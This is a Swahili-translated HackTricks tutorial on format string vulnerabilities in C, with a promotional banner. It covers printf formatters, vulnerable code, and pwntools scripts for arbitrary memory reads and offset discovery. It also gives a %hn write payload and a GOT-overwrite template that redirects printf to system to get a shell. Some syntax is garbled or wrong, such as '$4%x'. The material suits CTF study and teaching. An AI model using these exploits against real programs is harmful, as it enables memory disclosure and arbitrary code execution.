11 KiB
Strings za Muundo
Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!
- Je, unafanya kazi katika kampuni ya usalama wa mtandao? Je, ungependa kuona kampuni yako ikitangazwa kwenye HackTricks? au ungependa kupata upatikanaji wa toleo jipya la PEASS au kupakua HackTricks kwa PDF? Angalia MIPANGO YA KUJIUNGA!
- Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs ya kipekee
- Pata swagi rasmi ya PEASS & HackTricks
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au fuata kwenye Twitter 🐦@carlospolopm.
- Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye repo ya hacktricks na repo ya hacktricks-cloud.
Taarifa Msingi
Katika C printf
ni kazi inayoweza kutumika kwa kusambaza baadhi ya string. Parameter ya kwanza inayotarajiwa na kazi hii ni maandishi ghafi yenye formatters. Parameta zinazofuata zinatarajiwa kuwa thamani za kubadilisha formatters kutoka kwenye maandishi ghafi.
Kazi zingine zenye udhaifu ni sprintf()
na fprintf()
.
Udhaifu unaonekana wakati maandishi ya muasisi yanapotumiwa kama hoja ya kwanza kwa kazi hii. Mshambuliaji ataweza kutengeneza kuingiza maalum kwa kutumia uwezo wa muundo wa string ya printf kusoma na kuandika data yoyote kwenye anwani yoyote (inayoweza kusomwa/kuandikwa). Hivyo kuweza kutekeleza nambari za aina yoyote.
Formatters:
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%p —> Pointer
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
Mifano:
- Mfano wa hatari:
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
- Matumizi ya Kawaida:
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
- Kwa Vipengele Vilivyopotea:
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
- fprintf inayoweza kudhurika:
#include <stdio.h>
int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input cna include formatters!
fclose(output_file);
return 0;
}
Kupata Pointers
Muundo wa %<n>$x
, ambapo n
ni nambari, inaruhusu kuelekeza printf kuchagua parameter ya n (kutoka kwenye stack). Kwa hivyo, ikiwa unataka kusoma param ya 4 kutoka kwenye stack ukitumia printf unaweza kufanya hivi:
printf("%x %x %x %x")
Na ungesoma kutoka kwa paramu ya kwanza hadi ya nne.
Au unaweza kufanya:
printf("$4%x")
na soma moja kwa moja ya nne.
Gundua kwamba muhalifu anadhibiti parameter ya pr
intf
, ambayo kimsingi inamaanisha kwamba mchango wake utakuwa kwenye stack wakati printf
inaitwa, ambayo inamaanisha kwamba anaweza kuandika anwani maalum za kumbukumbu kwenye stack.
{% hint style="danger" %}
Muhalifu anayeidhibiti mchango huu, ataweza kuongeza anwani za kiholela kwenye stack na kufanya printf
kuzifikia. Katika sehemu inayofuata itaelezwa jinsi ya kutumia tabia hii.
{% endhint %}
Kusoma Kiholela
Inawezekana kutumia mfumo wa %n$s
ili kufanya printf
ipate anwani iliyoko katika nafasi ya n, ikifuatiwa na kuichapisha kana kwamba ni string (kuichapisha hadi 0x00 inapatikana). Kwa hivyo, ikiwa anwani ya msingi ya binary ni 0x8048000
, na tunajua kwamba mchango wa mtumiaji unaanza katika nafasi ya 4 kwenye stack, inawezekana kuchapisha mwanzo wa binary na:
from pwn import *
p = process('./bin')
payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param
p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
{% hint style="danger" %} Tafadhali kumbuka huwezi kuweka anwani 0x8048000 mwanzoni mwa matokeo kwa sababu string itaishia kwa 0x00 mwishoni mwa anwani hiyo. {% endhint %}
Pata offset
Ili kupata offset ya matokeo yako unaweza kutuma herufi 4 au 8 (0x41414141
) ikifuatiwa na %1$x
na ongeza thamani mpaka upate A's
.
Nguvu ya kufikiria printf offset
```python # Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leakfrom pwn import *
Iterate over a range of integers
for i in range(10):
Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()
Start a new process of the "chall" binary
p = process("./chall")
Send the payload to the process
p.sendline(payload)
Read and store the output of the process
output = p.clean()
Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}") break
Close the process
p.close()
</details>
### Umuhimu
Kusoma kwa hiari kunaweza kuwa na manufaa kufanya yafuatayo:
* **Kudumpisha** **binary** kutoka kumbukumbu
* **Kufikia sehemu maalum za kumbukumbu ambapo habari nyeti** **zimehifadhiwa** (kama vile canaries, funguo za kuchipua au nywila za desturi kama katika hii [**changamoto ya CTF**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
## **Kuandika Kiholela**
Mfumo **`$<num>%n`** **huandika** idadi ya herufi zilizoandikwa kwenye **anwani iliyotajwa** katika parameta ya \<num> kwenye steki. Ikiwa mshambuliaji anaweza kuandika herufi nyingi kama anavyotaka na printf, ataweza kuwezesha **`$<num>%n`** kuandika nambari ya kiholela kwenye anwani ya kiholela.
Bahati nzuri, ili kuandika nambari 9999, si lazima kuongeza "A" 9999 kwenye kuingiza, ili kufanya hivyo ni rahisi kutumia mfumo **`%.<num-andika>%<num>$n`** kuandika nambari **`<num-andika>`** kwenye **anwani inayoelekezwa na nafasi ya `num`**.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
Hata hivyo, kumbuka kwamba kawaida ili kuandika anwani kama vile 0x08049724
(ambayo ni nambari KUBWA kuandika kwa mara moja), inatumika $hn
badala ya $n
. Hii inaruhusu kuandika Bayti 2 tu. Kwa hivyo operesheni hii inafanywa mara mbili, mara moja kwa Bayti 2 za juu za anwani na mara nyingine kwa zile za chini.
Hivyo, hitilafu hii inaruhusu kuandika chochote katika anwani yoyote (kuandika kiholela).
Katika mfano huu, lengo litakuwa ni kubadilisha anwani ya kazi katika taarifa ya GOT ambayo itaitwa baadaye. Ingawa hii inaweza kutumika kwa njia nyingine za kutekeleza kuandika kiholela kwa mbinu:
{% content-ref url="../arbitrary-write-2-exec/" %} arbitrary-write-2-exec {% endcontent-ref %}
Tutakuwa tukibadilisha kazi ambayo inapokea vigezo vyake kutoka kwa mtumiaji na kuielekeza kwa kazi ya system
.
Kama ilivyotajwa, kuandika anwani, kawaida hatua 2 zinahitajika: Kwanza unahitaji kuandika Bayti 2 za juu za anwani na kisha nyingine 2. Kufanya hivyo, $hn
hutumiwa.
- HOB inaitwa kwa Bayti 2 za juu za anwani
- LOB inaitwa kwa Bayti 2 za chini za anwani
Kisha, kwa sababu ya jinsi mnyambuliko wa muundo unavyofanya kazi, unahitaji kuandika kwanza ile ndogo kati ya [HOB, LOB] na kisha nyingine.
Ikiwa HOB < LOB
[anwani+2][anwani]%.[HOB-8]x%[kielelezo]\$hn%.[LOB-HOB]x%[kielelezo+1]
Ikiwa HOB > LOB
[anwani+2][anwani]%.[LOB-8]x%[kielelezo+1]\$hn%.[HOB-LOB]x%[kielelezo]
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
{% code overflow="wrap" %}
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
{% endcode %}
Kigezo cha Pwntools
Unaweza kupata kigezo cha kuandaa shambulio kwa aina hii ya udhaifu katika:
{% content-ref url="format-strings-template.md" %} format-strings-template.md {% endcontent-ref %}
Au mfano huu wa msingi kutoka hapa:
from pwn import *
elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000 # ASLR disabled
p = process()
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)
p.clean()
p.sendline('/bin/sh')
p.interactive()
Matumizi ya Strings za Umbizo kwa BOF
Inawezekana kutumia vitendo vya kuandika kutoka kwa udhaifu wa stringi ya umbizo kwa kuandika kwenye anwani za steki na kutumia udhaifu wa aina ya kujaza ujazo.
Mifano na Marejeo Mengine
- https://ir0nstone.gitbook.io/notes/types/stack/format-string
- https://www.youtube.com/watch?v=t1LH9D5cuK4
- https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
- https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html
- 32 bit, hakuna relro, hakuna canary, nx, hakuna pie, matumizi ya msingi ya strings za umbizo kufichua bendera kutoka kwa steki (hakuna haja ya kubadilisha mtiririko wa utekelezaji)
- https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html
- 32 bit, relro, hakuna canary, nx, hakuna pie, stringi ya umbizo kufunika anwani
fflush
na kazi ya ushindi (ret2win) - https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html
- 32 bit, relro, hakuna canary, nx, hakuna pie, stringi ya umbizo kuandika anwani ndani ya main katika
.fini_array
(hivyo mtiririko unarudi mara 1 zaidi) na kuandika anwani kwasystem
katika jedwali la GOT ikionyeshastrlen
. Wakati mtiririko unarudi kwa main,strlen
inatekelezwa na matokeo ya mtumiaji na ikionyeshasystem
, itatekeleza amri zilizopitishwa.